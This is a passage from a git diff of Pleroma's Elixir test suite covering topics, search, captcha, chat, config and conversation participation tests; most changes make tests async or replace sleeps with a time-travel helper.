	data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]}
	}

	{:ok, activity: activity}
	end

	test "with no attachments doesn't produce public:media topics", %{activity: activity} do
	topics = Topics.get_activity_topics(activity)

	refute Enum.member?(topics, "public:media")
	refute Enum.member?(topics, "public:local:media")
	end

	test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do
	tagged_data = Map.put(data, "tag", ["foo", "bar"])
	activity = %{activity \| object: %{object \| data: tagged_data}}

	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "hashtag:foo")
	assert Enum.member?(topics, "hashtag:bar")
	end

	test "only converts strings to hash tags", %{
	activity: %{object: %{data: data} = object} = activity
	} do
	tagged_data = Map.put(data, "tag", [2])
	activity = %{activity \| object: %{object \| data: tagged_data}}

	topics = Topics.get_activity_topics(activity)

	refute Enum.member?(topics, "hashtag:2")
	end

	test "non-local action produces public:remote topic", %{activity: activity} do
	activity = %{activity \| local: false, actor: "https://lain.com/users/lain"}
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "public:remote:lain.com")
	end

	test "local action doesn't produce public:remote topic", %{activity: activity} do
	activity = %{activity \| local: true, actor: "https://lain.com/users/lain"}
	topics = Topics.get_activity_topics(activity)

	refute Enum.member?(topics, "public:remote:lain.com")
	end
	end

	describe "public visibility create events with attachments" do
	setup do
	activity = %Activity{
	object: %Object{data: %{"attachment" => ["foo"]}},
	data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]}
	}

	{:ok, activity: activity}
	end

	test "produce public:media topics", %{activity: activity} do
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "public:media")
	end

	test "local produces public:local:media topics", %{activity: activity} do
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "public:local:media")
	end

	test "non-local doesn't produce public:local:media topics", %{activity: activity} do
	activity = %{activity \| local: false}

	topics = Topics.get_activity_topics(activity)

	refute Enum.member?(topics, "public:local:media")
	end

	test "non-local action produces public:remote:media topic", %{activity: activity} do
	activity = %{activity \| local: false, actor: "https://lain.com/users/lain"}
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "public:remote:media:lain.com")
	end
	end

	describe "non-public visibility" do
	test "produces direct topic" do
	activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}}
	topics = Topics.get_activity_topics(activity)

	assert Enum.member?(topics, "direct")
	refute Enum.member?(topics, "public")
	refute Enum.member?(topics, "public:local")
	refute Enum.member?(topics, "public:media")
	refute Enum.member?(topics, "public:local:media")
	end
	end
	end
	diff --git a/test/pleroma/activity/search_test.exs b/test/pleroma/activity/search_test.exs
	index fc910e725..49b7aa292 100644
	--- a/test/pleroma/activity/search_test.exs
	+++ b/test/pleroma/activity/search_test.exs
	@@ -1,45 +1,45 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Activity.SearchTest do
	alias Pleroma.Activity.Search
	alias Pleroma.Web.CommonAPI
	import Pleroma.Factory

	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	test "it finds something" do
	user = insert(:user)
	{:ok, post} = CommonAPI.post(user, %{status: "it's wednesday my dudes"})

	[result] = Search.search(nil, "wednesday")

	assert result.id == post.id
	end

	test "using plainto_tsquery on postgres < 11" do
	old_version = :persistent_term.get({Pleroma.Repo, :postgres_version})
	:persistent_term.put({Pleroma.Repo, :postgres_version}, 10.0)
	on_exit(fn -> :persistent_term.put({Pleroma.Repo, :postgres_version}, old_version) end)

	user = insert(:user)
	{:ok, post} = CommonAPI.post(user, %{status: "it's wednesday my dudes"})
	{:ok, _post2} = CommonAPI.post(user, %{status: "it's wednesday my bros"})

	# plainto doesn't understand complex queries
	assert [result] = Search.search(nil, "wednesday -dudes")

	assert result.id == post.id
	end

	test "using websearch_to_tsquery" do
	user = insert(:user)
	{:ok, _post} = CommonAPI.post(user, %{status: "it's wednesday my dudes"})
	{:ok, other_post} = CommonAPI.post(user, %{status: "it's wednesday my bros"})

	assert [result] = Search.search(nil, "wednesday -dudes")

	assert result.id == other_post.id
	end
	end
	diff --git a/test/pleroma/application_requirements_test.exs b/test/pleroma/application_requirements_test.exs
	index b432dbc37..e3cca5487 100644
	--- a/test/pleroma/application_requirements_test.exs
	+++ b/test/pleroma/application_requirements_test.exs
	@@ -1,168 +1,169 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ApplicationRequirementsTest do
	use Pleroma.DataCase

	import ExUnit.CaptureLog
	import Mock

	alias Pleroma.ApplicationRequirements
	alias Pleroma.Config
	alias Pleroma.Repo

	describe "check_repo_pool_size!/1" do
	test "raises if the pool size is unexpected" do
	clear_config([Pleroma.Repo, :pool_size], 11)
	+ clear_config([:dangerzone, :override_repo_pool_size], false)

	assert_raise Pleroma.ApplicationRequirements.VerifyError,
	"Repo.pool_size different than recommended value.",
	fn ->
	capture_log(&Pleroma.ApplicationRequirements.verify!/0)
	end
	end

	test "doesn't raise if the pool size is unexpected but the respective flag is set" do
	clear_config([Pleroma.Repo, :pool_size], 11)
	clear_config([:dangerzone, :override_repo_pool_size], true)

	assert Pleroma.ApplicationRequirements.verify!() == :ok
	end
	end

	describe "check_welcome_message_config!/1" do
	setup do: clear_config([:welcome])
	setup do: clear_config([Pleroma.Emails.Mailer])

	test "raises if welcome email enabled but mail disabled" do
	Pleroma.Config.put([:welcome, :email, :enabled], true)
	Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false)

	assert_raise Pleroma.ApplicationRequirements.VerifyError, "The mail disabled.", fn ->
	capture_log(&Pleroma.ApplicationRequirements.verify!/0)
	end
	end
	end

	describe "check_confirmation_accounts!" do
	setup_with_mocks([
	{Pleroma.ApplicationRequirements, [:passthrough],
	[
	check_migrations_applied!: fn _ -> :ok end
	]}
	]) do
	:ok
	end

	setup do: clear_config([:instance, :account_activation_required])

	test "raises if account confirmation is required but mailer isn't enable" do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false)

	assert_raise Pleroma.ApplicationRequirements.VerifyError,
	"Account activation enabled, but Mailer is disabled. Cannot send confirmation emails.",
	fn ->
	capture_log(&Pleroma.ApplicationRequirements.verify!/0)
	end
	end

	test "doesn't do anything if account confirmation is disabled" do
	Pleroma.Config.put([:instance, :account_activation_required], false)
	Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false)
	assert Pleroma.ApplicationRequirements.verify!() == :ok
	end

	test "doesn't do anything if account confirmation is required and mailer is enabled" do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], true)
	assert Pleroma.ApplicationRequirements.verify!() == :ok
	end
	end

	describe "check_rum!" do
	setup_with_mocks([
	{Pleroma.ApplicationRequirements, [:passthrough],
	[check_migrations_applied!: fn _ -> :ok end]}
	]) do
	:ok
	end

	setup do: clear_config([:database, :rum_enabled])

	test "raises if rum is enabled and detects unapplied rum migrations" do
	Config.put([:database, :rum_enabled], true)

	with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do
	assert_raise ApplicationRequirements.VerifyError,
	"Unapplied RUM Migrations detected",
	fn ->
	capture_log(&ApplicationRequirements.verify!/0)
	end
	end
	end

	test "raises if rum is disabled and detects rum migrations" do
	Config.put([:database, :rum_enabled], false)

	with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do
	assert_raise ApplicationRequirements.VerifyError,
	"RUM Migrations detected",
	fn ->
	capture_log(&ApplicationRequirements.verify!/0)
	end
	end
	end

	test "doesn't do anything if rum enabled and applied migrations" do
	Config.put([:database, :rum_enabled], true)

	with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do
	assert ApplicationRequirements.verify!() == :ok
	end
	end

	test "doesn't do anything if rum disabled" do
	Config.put([:database, :rum_enabled], false)

	with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do
	assert ApplicationRequirements.verify!() == :ok
	end
	end
	end

	describe "check_migrations_applied!" do
	setup_with_mocks([
	{Ecto.Migrator, [],
	[
	with_repo: fn repo, fun -> passthrough([repo, fun]) end,
	migrations: fn Repo ->
	[
	{:up, 20_191_128_153_944, "fix_missing_following_count"},
	{:up, 20_191_203_043_610, "create_report_notes"},
	{:down, 20_191_220_174_645, "add_scopes_to_pleroma_feo_auth_records"}
	]
	end
	]}
	]) do
	:ok
	end

	setup do: clear_config([:i_am_aware_this_may_cause_data_loss, :disable_migration_check])

	test "raises if it detects unapplied migrations" do
	assert_raise ApplicationRequirements.VerifyError,
	"Unapplied Migrations detected",
	fn ->
	capture_log(&ApplicationRequirements.verify!/0)
	end
	end

	test "doesn't do anything if disabled" do
	Config.put([:i_am_aware_this_may_cause_data_loss, :disable_migration_check], true)

	assert :ok == ApplicationRequirements.verify!()
	end
	end
	end
	diff --git a/test/pleroma/bbs/handler_test.exs b/test/pleroma/bbs/handler_test.exs
	index e605c2726..bba8fab0f 100644
	--- a/test/pleroma/bbs/handler_test.exs
	+++ b/test/pleroma/bbs/handler_test.exs
	@@ -1,89 +1,89 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.BBS.HandlerTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Activity
	alias Pleroma.BBS.Handler
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import ExUnit.CaptureIO
	import Pleroma.Factory
	import Ecto.Query

	test "getting the home timeline" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user, followed} = User.follow(user, followed)

	{:ok, _first} = CommonAPI.post(user, %{status: "hey"})
	{:ok, _second} = CommonAPI.post(followed, %{status: "hello"})

	output =
	capture_io(fn ->
	Handler.handle_command(%{user: user}, "home")
	end)

	assert output =~ user.nickname
	assert output =~ followed.nickname

	assert output =~ "hey"
	assert output =~ "hello"
	end

	test "posting" do
	user = insert(:user)

	output =
	capture_io(fn ->
	Handler.handle_command(%{user: user}, "p this is a test post")
	end)

	assert output =~ "Posted"

	activity =
	Repo.one(
	from(a in Activity,
	where: fragment("?->>'type' = ?", a.data, "Create")
	)
	)

	assert activity.actor == user.ap_id
	object = Object.normalize(activity)
	assert object.data["content"] == "this is a test post"
	end

	test "replying" do
	user = insert(:user)
	another_user = insert(:user)

	{:ok, activity} = CommonAPI.post(another_user, %{status: "this is a test post"})
	activity_object = Object.normalize(activity)

	output =
	capture_io(fn ->
	Handler.handle_command(%{user: user}, "r #{activity.id} this is a reply")
	end)

	assert output =~ "Replied"

	reply =
	Repo.one(
	from(a in Activity,
	where: fragment("?->>'type' = ?", a.data, "Create"),
	where: a.actor == ^user.ap_id
	)
	)

	assert reply.actor == user.ap_id

	reply_object_data = Object.normalize(reply).data
	assert reply_object_data["content"] == "this is a reply"
	assert reply_object_data["inReplyTo"] == activity_object.data["id"]
	end
	end
	diff --git a/test/pleroma/bookmark_test.exs b/test/pleroma/bookmark_test.exs
	index 2726fe7cd..ef090d785 100644
	--- a/test/pleroma/bookmark_test.exs
	+++ b/test/pleroma/bookmark_test.exs
	@@ -1,56 +1,56 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.BookmarkTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Bookmark
	alias Pleroma.Web.CommonAPI

	describe "create/2" do
	test "with valid params" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"})
	{:ok, bookmark} = Bookmark.create(user.id, activity.id)
	assert bookmark.user_id == user.id
	assert bookmark.activity_id == activity.id
	end

	test "with invalid params" do
	{:error, changeset} = Bookmark.create(nil, "")
	refute changeset.valid?

	assert changeset.errors == [
	user_id: {"can't be blank", [validation: :required]},
	activity_id: {"can't be blank", [validation: :required]}
	]
	end
	end

	describe "destroy/2" do
	test "with valid params" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"})
	{:ok, _bookmark} = Bookmark.create(user.id, activity.id)

	{:ok, _deleted_bookmark} = Bookmark.destroy(user.id, activity.id)
	end
	end

	describe "get/2" do
	test "gets a bookmark" do
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"Scientists Discover The Secret Behind Tenshi Eating A Corndog Being So Cute – Science Daily"
	})

	{:ok, bookmark} = Bookmark.create(user.id, activity.id)
	assert bookmark == Bookmark.get(user.id, activity.id)
	end
	end
	end
	diff --git a/test/pleroma/captcha_test.exs b/test/pleroma/captcha_test.exs
	index 1b9f4a12f..bde3c72f7 100644
	--- a/test/pleroma/captcha_test.exs
	+++ b/test/pleroma/captcha_test.exs
	@@ -1,118 +1,117 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.CaptchaTest do
	use Pleroma.DataCase

	import Tesla.Mock

	alias Pleroma.Captcha
	alias Pleroma.Captcha.Kocaptcha
	alias Pleroma.Captcha.Native

	@ets_options [:ordered_set, :private, :named_table, {:read_concurrency, true}]
	setup do: clear_config([Pleroma.Captcha, :enabled])

	describe "Kocaptcha" do
	setup do
	ets_name = Kocaptcha.Ets
	^ets_name = :ets.new(ets_name, @ets_options)

	mock(fn
	%{method: :get, url: "https://captcha.kotobank.ch/new"} ->
	json(%{
	md5: "63615261b77f5354fb8c4e4986477555",
	token: "afa1815e14e29355e6c8f6b143a39fa2",
	url: "/captchas/afa1815e14e29355e6c8f6b143a39fa2.png"
	})
	end)

	:ok
	end

	test "new and validate" do
	new = Kocaptcha.new()

	token = "afa1815e14e29355e6c8f6b143a39fa2"
	url = "https://captcha.kotobank.ch/captchas/afa1815e14e29355e6c8f6b143a39fa2.png"

	assert %{
	answer_data: answer,
	token: ^token,
	url: ^url,
	type: :kocaptcha,
	seconds_valid: 300
	} = new

	assert Kocaptcha.validate(token, "7oEy8c", answer) == :ok
	end
	end

	describe "Native" do
	test "new and validate" do
	new = Native.new()

	assert %{
	answer_data: answer,
	token: token,
	type: :native,
	url: "data:image/png;base64," <> _,
	seconds_valid: 300
	} = new

	assert is_binary(answer)
	assert :ok = Native.validate(token, answer, answer)
	assert {:error, :invalid} == Native.validate(token, answer, answer <> "foobar")
	end
	end

	describe "Captcha Wrapper" do
	test "validate" do
	Pleroma.Config.put([Pleroma.Captcha, :enabled], true)

	new = Captcha.new()

	assert %{
	answer_data: answer,
	token: token
	} = new

	assert is_binary(answer)
	assert :ok = Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer)
	- Cachex.del(:used_captcha_cache, token)
	end

	test "doesn't validate invalid answer" do
	Pleroma.Config.put([Pleroma.Captcha, :enabled], true)

	new = Captcha.new()

	assert %{
	answer_data: answer,
	token: token
	} = new

	assert is_binary(answer)

	assert {:error, :invalid_answer_data} =
	Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer <> "foobar")
	end

	test "nil answer_data" do
	Pleroma.Config.put([Pleroma.Captcha, :enabled], true)

	new = Captcha.new()

	assert %{
	answer_data: answer,
	token: token
	} = new

	assert is_binary(answer)

	assert {:error, :invalid_answer_data} =
	Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", nil)
	end
	end
	end
	diff --git a/test/pleroma/chat_test.exs b/test/pleroma/chat_test.exs
	index 9e8a9ebf0..1dd04916c 100644
	--- a/test/pleroma/chat_test.exs
	+++ b/test/pleroma/chat_test.exs
	@@ -1,83 +1,84 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ChatTest do
	use Pleroma.DataCase, async: true

	alias Pleroma.Chat

	import Pleroma.Factory

	describe "creation and getting" do
	test "it only works if the recipient is a valid user (for now)" do
	user = insert(:user)

	assert {:error, _chat} = Chat.bump_or_create(user.id, "http://some/nonexisting/account")
	assert {:error, _chat} = Chat.get_or_create(user.id, "http://some/nonexisting/account")
	end

	test "it creates a chat for a user and recipient" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id)

	assert chat.id
	end

	test "deleting the user deletes the chat" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id)

	Repo.delete(user)

	refute Chat.get_by_id(chat.id)
	end

	test "deleting the recipient deletes the chat" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id)

	Repo.delete(other_user)

	refute Chat.get_by_id(chat.id)
	end

	test "it returns and bumps a chat for a user and recipient if it already exists" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id)
	{:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id)

	assert chat.id == chat_two.id
	end

	test "it returns a chat for a user and recipient if it already exists" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)
	{:ok, chat_two} = Chat.get_or_create(user.id, other_user.ap_id)

	assert chat.id == chat_two.id
	end

	test "a returning chat will have an updated `update_at` field" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id)
	- :timer.sleep(1500)
	+ {:ok, chat} = time_travel(chat, -2)
	+
	{:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id)

	assert chat.id == chat_two.id
	assert chat.updated_at != chat_two.updated_at
	end
	end
	end
	diff --git a/test/pleroma/config_test.exs b/test/pleroma/config_test.exs
	index 1556e4237..f524d90dd 100644
	--- a/test/pleroma/config_test.exs
	+++ b/test/pleroma/config_test.exs
	@@ -1,139 +1,139 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ConfigTest do
	- use ExUnit.Case
	+ use Pleroma.DataCase

	test "get/1 with an atom" do
	assert Pleroma.Config.get(:instance) == Application.get_env(:pleroma, :instance)
	assert Pleroma.Config.get(:azertyuiop) == nil
	assert Pleroma.Config.get(:azertyuiop, true) == true
	end

	test "get/1 with a list of keys" do
	assert Pleroma.Config.get([:instance, :public]) ==
	Keyword.get(Application.get_env(:pleroma, :instance), :public)

	assert Pleroma.Config.get([Pleroma.Web.Endpoint, :render_errors, :view]) ==
	get_in(
	Application.get_env(
	:pleroma,
	Pleroma.Web.Endpoint
	),
	[:render_errors, :view]
	)

	assert Pleroma.Config.get([:azerty, :uiop]) == nil
	assert Pleroma.Config.get([:azerty, :uiop], true) == true
	end

	describe "nil values" do
	setup do
	Pleroma.Config.put(:lorem, nil)
	Pleroma.Config.put(:ipsum, %{dolor: [sit: nil]})
	Pleroma.Config.put(:dolor, sit: %{amet: nil})

	on_exit(fn -> Enum.each(~w(lorem ipsum dolor)a, &Pleroma.Config.delete/1) end)
	end

	test "get/1 with an atom for nil value" do
	assert Pleroma.Config.get(:lorem) == nil
	end

	test "get/2 with an atom for nil value" do
	assert Pleroma.Config.get(:lorem, true) == nil
	end

	test "get/1 with a list of keys for nil value" do
	assert Pleroma.Config.get([:ipsum, :dolor, :sit]) == nil
	assert Pleroma.Config.get([:dolor, :sit, :amet]) == nil
	end

	test "get/2 with a list of keys for nil value" do
	assert Pleroma.Config.get([:ipsum, :dolor, :sit], true) == nil
	assert Pleroma.Config.get([:dolor, :sit, :amet], true) == nil
	end
	end

	test "get/1 when value is false" do
	Pleroma.Config.put([:instance, :false_test], false)
	Pleroma.Config.put([:instance, :nested], [])
	Pleroma.Config.put([:instance, :nested, :false_test], false)

	assert Pleroma.Config.get([:instance, :false_test]) == false
	assert Pleroma.Config.get([:instance, :nested, :false_test]) == false
	end

	test "get!/1" do
	assert Pleroma.Config.get!(:instance) == Application.get_env(:pleroma, :instance)

	assert Pleroma.Config.get!([:instance, :public]) ==
	Keyword.get(Application.get_env(:pleroma, :instance), :public)

	assert_raise(Pleroma.Config.Error, fn ->
	Pleroma.Config.get!(:azertyuiop)
	end)

	assert_raise(Pleroma.Config.Error, fn ->
	Pleroma.Config.get!([:azerty, :uiop])
	end)
	end

	test "get!/1 when value is false" do
	Pleroma.Config.put([:instance, :false_test], false)
	Pleroma.Config.put([:instance, :nested], [])
	Pleroma.Config.put([:instance, :nested, :false_test], false)

	assert Pleroma.Config.get!([:instance, :false_test]) == false
	assert Pleroma.Config.get!([:instance, :nested, :false_test]) == false
	end

	test "put/2 with a key" do
	Pleroma.Config.put(:config_test, true)

	assert Pleroma.Config.get(:config_test) == true
	end

	test "put/2 with a list of keys" do
	Pleroma.Config.put([:instance, :config_test], true)
	Pleroma.Config.put([:instance, :config_nested_test], [])
	Pleroma.Config.put([:instance, :config_nested_test, :x], true)

	assert Pleroma.Config.get([:instance, :config_test]) == true
	assert Pleroma.Config.get([:instance, :config_nested_test, :x]) == true
	end

	test "delete/1 with a key" do
	Pleroma.Config.put([:delete_me], :delete_me)
	Pleroma.Config.delete([:delete_me])
	assert Pleroma.Config.get([:delete_me]) == nil
	end

	test "delete/2 with a list of keys" do
	Pleroma.Config.put([:delete_me], hello: "world", world: "Hello")
	Pleroma.Config.delete([:delete_me, :world])
	assert Pleroma.Config.get([:delete_me]) == [hello: "world"]
	Pleroma.Config.put([:delete_me, :delete_me], hello: "world", world: "Hello")
	Pleroma.Config.delete([:delete_me, :delete_me, :world])
	assert Pleroma.Config.get([:delete_me, :delete_me]) == [hello: "world"]

	assert Pleroma.Config.delete([:this_key_does_not_exist])
	assert Pleroma.Config.delete([:non, :existing, :key])
	end

	test "fetch/1" do
	Pleroma.Config.put([:lorem], :ipsum)
	Pleroma.Config.put([:ipsum], dolor: :sit)

	assert Pleroma.Config.fetch([:lorem]) == {:ok, :ipsum}
	assert Pleroma.Config.fetch(:lorem) == {:ok, :ipsum}
	assert Pleroma.Config.fetch([:ipsum, :dolor]) == {:ok, :sit}
	assert Pleroma.Config.fetch([:lorem, :ipsum]) == :error
	assert Pleroma.Config.fetch([:loremipsum]) == :error
	assert Pleroma.Config.fetch(:loremipsum) == :error

	Pleroma.Config.delete([:lorem])
	Pleroma.Config.delete([:ipsum])
	end
	end
	diff --git a/test/pleroma/conversation/participation_test.exs b/test/pleroma/conversation/participation_test.exs
	index 5a603dcc1..122b10486 100644
	--- a/test/pleroma/conversation/participation_test.exs
	+++ b/test/pleroma/conversation/participation_test.exs
	@@ -1,363 +1,362 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Conversation.ParticipationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Conversation
	alias Pleroma.Conversation.Participation
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	test "getting a participation will also preload things" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _activity} =
	CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"})

	[participation] = Participation.for_user(user)

	participation = Participation.get(participation.id, preload: [:conversation])

	assert %Pleroma.Conversation{} = participation.conversation
	end

	test "for a new conversation or a reply, it doesn't mark the author's participation as unread" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _} =
	CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"})

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	[%{read: true}] = Participation.for_user(user)
	[%{read: false} = participation] = Participation.for_user(other_user)
	assert Participation.unread_count(user) == 0
	assert Participation.unread_count(other_user) == 1

	{:ok, _} =
	CommonAPI.post(other_user, %{
	status: "Hey @#{user.nickname}.",
	visibility: "direct",
	in_reply_to_conversation_id: participation.id
	})

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	[%{read: false}] = Participation.for_user(user)
	[%{read: true}] = Participation.for_user(other_user)

	assert Participation.unread_count(user) == 1
	assert Participation.unread_count(other_user) == 0
	end

	test "for a new conversation, it sets the recipents of the participation" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"})

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)
	[participation] = Participation.for_user(user)
	participation = Pleroma.Repo.preload(participation, :recipients)

	assert length(participation.recipients) == 2
	assert user in participation.recipients
	assert other_user in participation.recipients

	# Mentioning another user in the same conversation will not add a new recipients.

	{:ok, _activity} =
	CommonAPI.post(user, %{
	in_reply_to_status_id: activity.id,
	status: "Hey @#{third_user.nickname}.",
	visibility: "direct"
	})

	[participation] = Participation.for_user(user)
	participation = Pleroma.Repo.preload(participation, :recipients)

	assert length(participation.recipients) == 2
	end

	test "it creates a participation for a conversation and a user" do
	user = insert(:user)
	conversation = insert(:conversation)

	{:ok, %Participation{} = participation} =
	Participation.create_for_user_and_conversation(user, conversation)

	+ {:ok, participation} = time_travel(participation, -2)
	+
	assert participation.user_id == user.id
	assert participation.conversation_id == conversation.id

	- # Needed because updated_at is accurate down to a second
	- :timer.sleep(1000)
	-
	# Creating again returns the same participation
	{:ok, %Participation{} = participation_two} =
	Participation.create_for_user_and_conversation(user, conversation)

	assert participation.id == participation_two.id
	refute participation.updated_at == participation_two.updated_at
	end

	test "recreating an existing participations sets it to unread" do
	participation = insert(:participation, %{read: true})

	{:ok, participation} =
	Participation.create_for_user_and_conversation(
	participation.user,
	participation.conversation
	)

	refute participation.read
	end

	test "it marks a participation as read" do
	participation = insert(:participation, %{read: false})
	{:ok, updated_participation} = Participation.mark_as_read(participation)

	assert updated_participation.read
	assert updated_participation.updated_at == participation.updated_at
	end

	test "it marks a participation as unread" do
	participation = insert(:participation, %{read: true})
	{:ok, participation} = Participation.mark_as_unread(participation)

	refute participation.read
	end

	test "it marks all the user's participations as read" do
	user = insert(:user)
	other_user = insert(:user)
	participation1 = insert(:participation, %{read: false, user: user})
	participation2 = insert(:participation, %{read: false, user: user})
	participation3 = insert(:participation, %{read: false, user: other_user})

	{:ok, _, [%{read: true}, %{read: true}]} = Participation.mark_all_as_read(user)

	assert Participation.get(participation1.id).read == true
	assert Participation.get(participation2.id).read == true
	assert Participation.get(participation3.id).read == false
	end

	test "gets all the participations for a user, ordered by updated at descending" do
	user = insert(:user)
	{:ok, activity_one} = CommonAPI.post(user, %{status: "x", visibility: "direct"})
	{:ok, activity_two} = CommonAPI.post(user, %{status: "x", visibility: "direct"})

	{:ok, activity_three} =
	CommonAPI.post(user, %{
	status: "x",
	visibility: "direct",
	in_reply_to_status_id: activity_one.id
	})

	# Offset participations because the accuracy of updated_at is down to a second

	for {activity, offset} <- [{activity_two, 1}, {activity_three, 2}] do
	conversation = Conversation.get_for_ap_id(activity.data["context"])
	participation = Participation.for_user_and_conversation(user, conversation)
	updated_at = NaiveDateTime.add(Map.get(participation, :updated_at), offset)

	Ecto.Changeset.change(participation, %{updated_at: updated_at})
	\|> Repo.update!()
	end

	assert [participation_one, participation_two] = Participation.for_user(user)

	object2 = Pleroma.Object.normalize(activity_two)
	object3 = Pleroma.Object.normalize(activity_three)

	user = Repo.get(Pleroma.User, user.id)

	assert participation_one.conversation.ap_id == object3.data["context"]
	assert participation_two.conversation.ap_id == object2.data["context"]
	assert participation_one.conversation.users == [user]

	# Pagination
	assert [participation_one] = Participation.for_user(user, %{"limit" => 1})

	assert participation_one.conversation.ap_id == object3.data["context"]

	# With last_activity_id
	assert [participation_one] =
	Participation.for_user_with_last_activity_id(user, %{"limit" => 1})

	assert participation_one.last_activity_id == activity_three.id
	end

	test "Doesn't die when the conversation gets empty" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"})
	[participation] = Participation.for_user_with_last_activity_id(user)

	assert participation.last_activity_id == activity.id

	{:ok, _} = CommonAPI.delete(activity.id, user)

	[] = Participation.for_user_with_last_activity_id(user)
	end

	test "it sets recipients, always keeping the owner of the participation even when not explicitly set" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"})
	[participation] = Participation.for_user_with_last_activity_id(user)

	participation = Repo.preload(participation, :recipients)
	user = User.get_cached_by_id(user.id)

	assert participation.recipients \|> length() == 1
	assert user in participation.recipients

	{:ok, participation} = Participation.set_recipients(participation, [other_user.id])

	assert participation.recipients \|> length() == 2
	assert user in participation.recipients
	assert other_user in participation.recipients
	end

	describe "blocking" do
	test "when the user blocks a recipient, the existing conversations with them are marked as read" do
	blocker = insert(:user)
	blocked = insert(:user)
	third_user = insert(:user)

	{:ok, _direct1} =
	CommonAPI.post(third_user, %{
	status: "Hi @#{blocker.nickname}",
	visibility: "direct"
	})

	{:ok, _direct2} =
	CommonAPI.post(third_user, %{
	status: "Hi @#{blocker.nickname}, @#{blocked.nickname}",
	visibility: "direct"
	})

	{:ok, _direct3} =
	CommonAPI.post(blocked, %{
	status: "Hi @#{blocker.nickname}",
	visibility: "direct"
